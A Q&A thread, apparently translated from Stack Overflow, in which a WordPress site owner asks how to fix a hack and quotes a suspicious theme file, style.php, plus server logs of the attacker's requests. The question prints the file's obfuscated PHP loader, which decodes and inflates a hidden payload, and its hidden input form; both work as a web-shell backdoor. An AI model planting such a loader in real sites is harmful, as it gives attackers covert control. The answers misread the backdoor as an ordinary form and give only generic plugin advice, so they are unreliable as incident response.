【问题标题】:Wordpress vulnerability issueWordpress 漏洞问题
【发布时间】:2017-05-24 17:42:10
【问题描述】:

我的 wordpress 网站刚刚被黑客入侵,查看日志后我发现他们利用了这个文件:www/wp-content/themes/mytheme/style.php

浏览此链接 www.mywebsite.com/wp-content/themes/mytheme/style.php 时,我发现一个带有按钮的输入字段。所以我猜这就是他们上传 shell 脚本的地方。

function pre_term_name( $wp_kses_data, $wp_nonce ) {
$kses_str = str_replace( array ('%', '*'), array ('/', '='), $wp_kses_data );
$filter = base64_decode( $kses_str );
$md5 = strrev( $wp_nonce );
$sub = substr( md5( $md5 ), 0, strlen( $wp_nonce ) );
$wp_nonce = md5( $wp_nonce ). $sub;
$preparefunc = 'gzinflate';
$i = 0; do {
    $ord = ord( $filter[$i] ) - ord( $wp_nonce[$i] );
    $filter[$i] = chr( $ord % 256 );
    $wp_nonce .= $filter[$i]; $i++;
} while ($i < strlen( $filter ));
return @$preparefunc( $filter );
} 

$wp_auth_check = '<form method= "post" action= ""> <input type= "input" name= "_f_wp" value= ""/><input type= "submit" value= "&gt;"/></form>';

如何解决此漏洞?谢谢

日志:

195.211.142.36 - - [19/May/2017:19:00:17 +0100] "POST /wp-content/themes/mytheme/style.php HTTP/1.1" 301 - "http://mywebsite.com/wp-content/themes/mytheme/style.php" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:18 +0100] "GET /wp-content/themes/mytheme/style.php HTTP/1.1" 200 123 "http://mywebsite.com/wp-content/themes/mytheme/style.php" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:27 +0100] "GET /TEST777/system.php?ar=test333.zip HTTP/1.1" 200 260 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:33 +0100] "GET /TEST777/test111 HTTP/1.1" 200 270 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:40 +0100] "GET /wp-content/themes/mytheme/style.php HTTP/1.1" 200 7680 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"

【问题讨论】:

  • $wp_auth_check 中的表单没有文件 uloader。你能包含更多来自“style.php”的代码和相关的日志条目吗?
  • 嗨亚当,我已经包含了更多来自 style.php 的代码以及一些我认为与攻击有关的日志行。感谢您的帮助。
  • 我实际上暂时评论了这一行,因为我不知道该怎么做。 $wp_auth_check = '
    ';
  • 你安装了这个文件吗?大多数 wp 主题都有一个 style.css 和几个 php 文件,如 index.php、functions.php 等。它可能是合法的,但看起来有点可疑。此外,您对日志的看法是正确的,攻击者似乎使用“style.php”上传了一个 shell。如果“style.php”是主题的一部分,你应该联系开发者并让他知道这个漏洞。
  • 如果您担心安全性,您可以在最近修改的文件中搜索感染,如果您有最近的干净备份,请使用它。我不会太偏执强硬,这些事情发生了..

标签: php wordpress security


【解决方案1】:

该行是输入的位置。该漏洞将是发布到的任何内容。看来该操作是空白的,所以我假设有一个 jQuery/AJAX 调用正在停止提交并传递数据。那将是检查的地方。从那里您将知道数据实际发布的位置以及正在执行的查询。检查查询是否使用 PDO 和/或输入是否已清理。

不过,作为 WP 安全性的一般“帮手”,我喜欢 Sucuri WP 插件。

【讨论】:

    【解决方案2】:

    您可以使用 WordPress 安全插件,例如:WordFence、BulletProof Security、Sucuri Security、iThemes Security、Acunetix WP SecurityScan

    和 检查此页面:threats

    Security Vulnerabilities

    【讨论】:

      猜你喜欢
      • 2017-05-12
      • 2011-03-07
      • 1970-01-01
      • 1970-01-01
      • 2021-12-21
      • 2020-06-17
      • 1970-01-01
      • 2016-09-20
      • 1970-01-01
      相关资源
      最近更新 更多